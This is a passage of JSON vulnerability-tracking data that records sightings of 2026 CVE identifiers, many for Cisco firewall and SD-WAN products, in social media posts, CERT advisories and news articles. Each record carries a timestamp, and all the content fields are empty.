"https://bsky.app/profile/cyberhub.blog/post/3mfmeev27st2w", "content": "", "creation_timestamp": "2026-02-24T14:20:10.141891Z"}, {"uuid": "daed354d-91c4-4bae-a762-434e3b1fbc73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20049", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "05713ee5-8ba0-4a93-8c06-2d9833ce714c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2047", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdcwo4yyx2u", "content": "", "creation_timestamp": "2026-02-21T00:00:21.712011Z"}, {"uuid": "3d3d0de1-34eb-428e-ba89-b46a943b36dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20013", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "1d6991ed-84f5-4b73-afd5-add63b7e9af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mgepk4y3yk2h", "content": "", "creation_timestamp": "2026-03-06T06:43:53.998274Z"}, {"uuid": "5fef9eab-5327-4faa-bc91-111d30b05fe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2048", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdcwuu6qp2u", "content": "", "creation_timestamp": "2026-02-21T00:00:29.767714Z"}, {"uuid": "d91bcca8-7c8c-4513-854e-21474ac5465e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mftddx3cby2i", "content": "", "creation_timestamp": "2026-02-27T08:50:22.745366Z"}, {"uuid": "b6d8313a-b663-4097-8e63-f865f7432c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20014", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "7d0c895e-569b-411b-a56e-32e2a2b77b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mgepk4y3yk2h", "content": "", "creation_timestamp": "2026-03-06T06:43:54.098954Z"}, {"uuid": "b4db17d5-910c-4edc-be34-083c711e5473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfroazvcq52i", "content": "", "creation_timestamp": "2026-02-26T17:00:16.659458Z"}, {"uuid": "e1629714-6916-4804-9cd8-f4f9656240de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20015", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "77f6dad2-7905-40c5-ae4d-acaa446d468c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mgbmbiap6i27", "content": "", "creation_timestamp": "2026-03-05T01:07:20.522444Z"}, {"uuid": "5711409b-79fc-4701-9c33-958c457a1220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20062", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "9906a41c-7d17-42e1-bf56-d73a732d79a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20001", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "95253185-734b-4a35-9c24-ec753c276292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meumwuj2oc2w", "content": "", "creation_timestamp": "2026-02-15T03:49:32.055153Z"}, {"uuid": "4a758ded-70a0-4db0-92b3-997ad4c03307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2044", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd25aefq2d", "content": "", "creation_timestamp": "2026-02-21T00:02:18.574877Z"}, {"uuid": "83aa4562-9355-49d3-bb92-3a67d710458a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "e292596a-14a1-4700-a712-1ec84b704398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/applebriefly.bsky.social/post/3menjji3kl524", "content": "", "creation_timestamp": "2026-02-12T07:59:41.178754Z"}, {"uuid": "5014db3d-87d7-4cfb-884f-87f503f9b94e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2045", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd2dwswl2k", "content": "", "creation_timestamp": "2026-02-21T00:02:25.276735Z"}, {"uuid": "806642a6-9b73-4bf5-a88d-77271cb8b4ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2033", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd2ldott2h", "content": "", "creation_timestamp": "2026-02-21T00:02:32.953509Z"}, {"uuid": "0849811b-d735-4e28-a2ad-980849e7b20a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20003", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/3/kritische-sicherheitslucken-in-cisco-secure-firewall-produkten-updates-verfugbar", "content": "", "creation_timestamp": "2026-03-05T11:03:43.000000Z"}, {"uuid": "e85a7e11-8ad3-4972-ad75-8a6b74fcdd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20658", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meuqnsutes2w", "content": "", "creation_timestamp": "2026-02-15T04:56:02.183112Z"}, {"uuid": "22fefbf5-4962-42c1-9369-f06ea4d6b5ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2034", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd3nptwd2h", "content": "", "creation_timestamp": "2026-02-21T00:03:09.069051Z"}, {"uuid": "2f231039-aeee-4963-bba8-99d60b2924e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://threatintel.cc/2026/03/05/cisco-flags-more-sdwan-flaws.html", "content": "", "creation_timestamp": "2026-03-05T11:06:47.000000Z"}, {"uuid": "acea0afb-a562-4488-9b64-81f9a8b03611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/cloud-native.activitypub.awakari.com.ap.brid.gy/post/3mgeqkzerw552", "content": "", "creation_timestamp": "2026-03-06T07:02:45.771570Z"}, {"uuid": "ed00e777-7aa1-4e8b-8196-93287ed9763d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pierremouchan.com/post/3melmt3o7ph23", "content": "", "creation_timestamp": "2026-02-11T13:53:25.108841Z"}, {"uuid": "a544d314-a786-4274-b81d-08d00a1f636e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://thehackernews.com/2026/02/apple-fixes-exploited-zero-day.html", "content": "", "creation_timestamp": "2026-02-12T04:39:00.000000Z"}, {"uuid": "a6fbd71c-af58-44d1-9013-146bf406b96c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20628", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meuqnsutes2w", "content": "", "creation_timestamp": "2026-02-15T04:56:02.277580Z"}, {"uuid": "ef660abd-6d74-47aa-896f-c0c0e27fe913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2036", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd3vbmat2h", "content": "", "creation_timestamp": "2026-02-21T00:03:16.864513Z"}, {"uuid": "a8408825-92a8-43c9-8577-cf7a6e7fe75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mfq4b4q32s24", "content": "", "creation_timestamp": "2026-02-26T02:05:32.694409Z"}, {"uuid": "caaa497b-0202-43a2-976f-5db0277994c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mfrozmn4kc23", "content": "", "creation_timestamp": "2026-02-26T17:14:02.758234Z"}, {"uuid": "d0bff821-3b9e-48ad-aa74-83137d97b863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meuqnsutes2w", "content": "", "creation_timestamp": "2026-02-15T04:56:02.370445Z"}, {"uuid": "5cb04fcc-8fd4-49dd-883e-53fcf297d4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2037", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdd44aagu2k", "content": "", "creation_timestamp": "2026-02-21T00:03:24.335094Z"}, {"uuid": "b47b96e7-e968-4e62-9482-3c18ea90039a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2039", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfof74iyku22", "content": "", "creation_timestamp": "2026-02-25T09:40:09.497294Z"}, {"uuid": "cd7bced2-398a-4cc8-a5c1-1a8b5a6322b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://threatintel.cc/2026/03/05/cisco-flags-more-sdwan-flaws.html", "content": "", "creation_timestamp": "2026-03-05T11:06:47.000000Z"}, {"uuid": "674b3002-1722-4b90-b6b3-174c9a430e53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/i2develop.bsky.social/post/3mgfmf7nljt2d", "content": "", "creation_timestamp": "2026-03-06T15:20:06.443195Z"}, {"uuid": "1db42304-97a8-481a-9033-92870952d614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meurij6lxs2w", "content": "", "creation_timestamp": "2026-02-15T05:11:00.958204Z"}, {"uuid": "8f0a183c-2b99-42ae-99dd-5ec4d44a0832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/modat-io.bsky.social/post/3mfrrffgfvk2j", "content": "", "creation_timestamp": "2026-02-26T17:56:26.753194Z"}, {"uuid": "37f6907f-4903-4058-8b8c-200e4c7dcca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mgfn6ewevj24", "content": "", "creation_timestamp": "2026-03-06T15:34:09.807884Z"}, {"uuid": "d5287f11-cd69-46e6-8973-c388494fd4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2042", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfmitwwjlu2m", "content": "", "creation_timestamp": "2026-02-24T15:40:09.937130Z"}, {"uuid": "920368b8-7356-4dd3-a3b1-226236fa5d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/techimo.bsky.social/post/3melmxkrwp62s", "content": "", "creation_timestamp": "2026-02-11T13:55:54.908972Z"}, {"uuid": "e401ca53-ca40-4b5a-84b1-e45c7ddeecf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mer4uujer42o", "content": "", "creation_timestamp": "2026-02-13T18:24:03.551613Z"}, {"uuid": "42a933cf-bfb7-48de-bc68-428a5815c488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/hnbest.bsky.social/post/3meln7dvpmo2b", "content": "", "creation_timestamp": "2026-02-11T14:00:16.551950Z"}, {"uuid": "1830db85-dd9a-4f49-9535-d9936b15304f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfq5kdwnho2j", "content": "", "creation_timestamp": "2026-02-26T02:28:36.124508Z"}, {"uuid": "525f1d22-7221-432d-8235-17c2dab0140a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://threatintel.cc/2026/03/05/cisco-secure-firewall-management-vulnerability.html", "content": "", "creation_timestamp": "2026-03-05T12:05:57.000000Z"}, {"uuid": "f9fa96aa-7c5e-4314-af82-a557bdf7f189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/netalexx.bsky.social/post/3melocm3g2s2w", "content": "", "creation_timestamp": "2026-02-11T14:19:59.759046Z"}, {"uuid": "38b357ec-23b9-4e94-b30c-73869ffdfc76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20820", "type": "seen", "source": "https://gist.github.com/CravateRouge/5d3b20012a2b18feca6a9019ac67fd92", "content": "", "creation_timestamp": "2026-03-05T14:00:52.000000Z"}, {"uuid": "be99e5a3-9aac-4af9-868e-4f7ec3ad79f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116064754433006900", "content": "", "creation_timestamp": "2026-02-13T18:33:26.100457Z"}, {"uuid": "1911fd14-2999-4b2a-b6e4-d38f9cef3ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20119", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116064754433006900", "content": "", "creation_timestamp": "2026-02-13T18:33:26.218074Z"}, {"uuid": "fe3ddf05-4ce9-4262-9a36-96d26b9ae234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-06)", "content": "", "creation_timestamp": "2026-03-06T00:00:00.000000Z"}, {"uuid": "12bd9857-aef3-45dd-8dc8-12139b265b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mm-hacker-news.bsky.social/post/3menlfn3hp32h", "content": "", "creation_timestamp": "2026-02-12T08:33:19.284267Z"}, {"uuid": "5aa59f3c-1eb8-4d0e-8511-532f6d0d6bff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfxoxwyp2j2p", "content": "", "creation_timestamp": "2026-03-01T02:29:07.505268Z"}, {"uuid": "658ec036-9589-432b-b460-8876095be48d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mg3gnw6b4z2w", "content": "", "creation_timestamp": "2026-03-02T14:10:56.489945Z"}, {"uuid": "ec03b5b4-01ae-423d-b397-fd7d9817e9c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20001", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:07.896156Z"}, {"uuid": "16f0af52-a4f8-42f7-9552-a91f38363e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.784298Z"}, {"uuid": "f75afbfc-1284-4b72-8fec-3380e181b3bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/newsyc500.bsky.social/post/3melq6jvzvx2r", "content": "", "creation_timestamp": "2026-02-11T14:53:30.459981Z"}, {"uuid": "3d6e8b40-2846-4acf-b074-71e5ee8f36d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:07.984576Z"}, {"uuid": "ffdd5e46-58ca-4611-ada8-c0cf0bdb29e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20062", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.624333Z"}, {"uuid": "307841a6-5ca3-4395-9e3f-61a38bdd6588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20106", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:09.178223Z"}, {"uuid": "adc9ded3-64b6-45b8-a95b-bfea1afb728b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20430", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg3idougdi2d", "content": "", "creation_timestamp": "2026-03-02T14:41:01.603034Z"}, {"uuid": "9ba896e0-20cd-49e6-b68e-8f2eeb9cd93b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mgbqsk2slf2p", "content": "", "creation_timestamp": "2026-03-05T02:28:27.405934Z"}, {"uuid": "4639dff4-083f-4698-b4b4-c67ce4c30894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20003", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.070934Z"}, {"uuid": "7773aee1-42a1-4156-aeb5-2ff60835aaa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20015", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.331664Z"}, {"uuid": "d6afccbb-9368-4d7f-a284-2ec57279361a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.939456Z"}, {"uuid": "b5bc7c64-34d4-46a0-b50e-84e636120a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2034", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfq7cxqbfw2l", "content": "", "creation_timestamp": "2026-02-26T03:00:15.951409Z"}, {"uuid": "fb671096-48e6-4f3d-8dc4-2236352ce050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/crowdcyber.bsky.social/post/3menmlvflow2e", "content": "", "creation_timestamp": "2026-02-12T08:54:43.173196Z"}, {"uuid": "bd068aac-99b8-443f-ad6f-d61fe1d3781c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20434", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mg3idvlkla2s", "content": "", "creation_timestamp": "2026-03-02T14:41:08.112307Z"}, {"uuid": "f75d4c45-af47-44fe-9092-4609631cc592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20013", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.163636Z"}, {"uuid": "86cc1979-b786-4f74-a722-15eb3f4ce11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20039", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.417073Z"}, {"uuid": "c0101762-b8aa-4e54-9e2c-70663531a264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:09.022673Z"}, {"uuid": "afc70fc1-001e-4b2d-9ff1-a821e72e025c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20014", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.257198Z"}, {"uuid": "c738c338-fe16-4281-ad79-c77a9ec75874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20049", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:08.498340Z"}, {"uuid": "e2e4daca-55c6-4137-817e-12dae7af545c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20105", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgcyc5zbe22b", "content": "", "creation_timestamp": "2026-03-05T14:15:09.097341Z"}, {"uuid": 